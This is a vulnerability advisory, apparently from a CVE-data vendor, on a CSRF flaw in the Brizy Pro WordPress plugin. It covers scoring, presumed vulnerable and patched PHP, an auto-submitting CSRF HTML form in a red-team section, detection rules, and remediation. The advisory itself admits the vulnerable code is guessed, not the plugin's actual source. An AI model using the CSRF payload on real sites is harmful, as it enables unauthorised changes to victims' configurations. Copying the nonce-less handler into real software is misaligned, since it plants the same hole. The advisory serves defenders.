CVE-2025-26902
Executive Summary
CVE-2025-26902 is a Cross-Site Request Forgery (CSRF) vulnerability in the Brizy Pro WordPress plugin, affecting versions up to and including 2.8.0. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious content, without their consent. The vulnerability is classified under CWE-352 and has a CVSS score of 4.3 (Medium). As a WordPress ecosystem issue, the attack surface is limited to the plugin’s administrative functions and does not involve server-level components like Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Brizy Pro plugin distributed via the WordPress plugin ecosystem. No official patch has been released as of the analysis date. Users are advised to monitor the vendor’s update channel and apply any future patches immediately. The plugin is not distributed via NPM, PyPI, Go, or Ruby registries.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the CSRF.
- User Interaction (UI): Required (R) – Victim must be logged in as admin and click a crafted link.
- Scope (S): Unchanged (U) – The vulnerable component remains the same.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): Low (L) – Limited ability to modify settings or content.
- Availability (A): None (N) – No denial-of-service impact.
Threat Level: Medium. Exploitation requires social engineering to lure an admin, but the impact is limited to configuration changes.
Deep Dive & Mechanics
The CSRF vulnerability in Brizy Pro arises from missing or insufficient anti-CSRF tokens in administrative actions. When an authenticated WordPress administrator visits a malicious page or clicks a crafted link, the attacker can forge requests to the Brizy Pro backend, such as:
- Changing plugin settings (e.g., API keys, license data).
- Modifying page/post content via the Brizy builder.
- Triggering import/export functions.
The attack does not require direct access to the victim’s session; it relies on the browser automatically sending cookies with each request. The vulnerability is present in all versions <= 2.8.0, with no known patch available.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin’s AJAX handlers or form processing functions that lack nonce verification. A typical vulnerable pattern in WordPress plugins is:
// Vulnerable: No nonce check
add_action('wp_ajax_brizy_save_settings', 'brizy_save_settings');
function brizy_save_settings() {
update_option('brizy_settings', $_POST['settings']);
wp_die('OK');
}
A patched version would include a nonce verification:
// Patched: Nonce check added
add_action('wp_ajax_brizy_save_settings', 'brizy_save_settings');
function brizy_save_settings() {
if (!wp_verify_nonce($_POST['_wpnonce'], 'brizy_save_settings_nonce')) {
wp_die('Invalid nonce');
}
update_option('brizy_settings', $_POST['settings']);
wp_die('OK');
}
Exploitation & Lab Setup
Red Team (Attacker)
- Prerequisites: A WordPress site with Brizy Pro <= 2.8.0 installed and an authenticated admin session.
- Craft the CSRF payload: Create an HTML page that auto-submits a form to the vulnerable endpoint.
- Deliver the payload: Send the link to the admin via email, social engineering, or a compromised site.
Example CSRF HTML payload:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="brizy_save_settings">
<input type="hidden" name="settings" value='{"malicious_key":"malicious_value"}'>
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>
Blue Team (Defender)
- Monitor for unusual AJAX requests to
admin-ajax.phpwithaction=brizy_*parameters. - Implement CSRF tokens in all Brizy Pro forms and AJAX handlers.
- Use SameSite cookies (set to
LaxorStrict) to mitigate cross-origin requests. - Educate administrators about phishing attacks and the risks of clicking unknown links.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=brizy_*parameters from unexpected referrers. - Logs: WordPress debug log entries showing unauthorized settings changes.
- File: Modified
wp_optionstable entries forbrizy_settingsor similar. - Behavior: Sudden changes to Brizy Pro configuration without admin interaction.
Detection Engineering
YARA Rule
rule CVE_2025_26902_CSRF_Brizy {
meta:
description = "Detects CSRF exploitation attempts against Brizy Pro <= 2.8.0"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-26902"
strings:
$ajax_action = "brizy_save_settings" nocase
$ajax_action2 = "brizy_import" nocase
$ajax_action3 = "brizy_export" nocase
$wp_ajax = "admin-ajax.php" nocase
condition:
any of ($ajax_action*) and $wp_ajax
}
Sigma Rule
title: CVE-2025-26902 Brizy Pro CSRF Exploitation
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0a9e7c
status: experimental
description: Detects HTTP POST requests to WordPress admin-ajax.php with Brizy Pro actions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-method: POST
cs-uri-query|contains:
- "admin-ajax.php"
cs-uri-query|contains|all:
- "action=brizy_"
condition: selection
falsepositives:
- Legitimate Brizy Pro admin actions
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26902 Brizy Pro CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=brizy_"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable or remove the Brizy Pro plugin until a patch is available.
- Short-term: Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=brizy_*parameters from external referrers. - Long-term: Apply the vendor patch when released. If custom development is possible, add nonce verification to all Brizy Pro AJAX handlers.
- User education: Train administrators to recognize and avoid phishing attempts.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.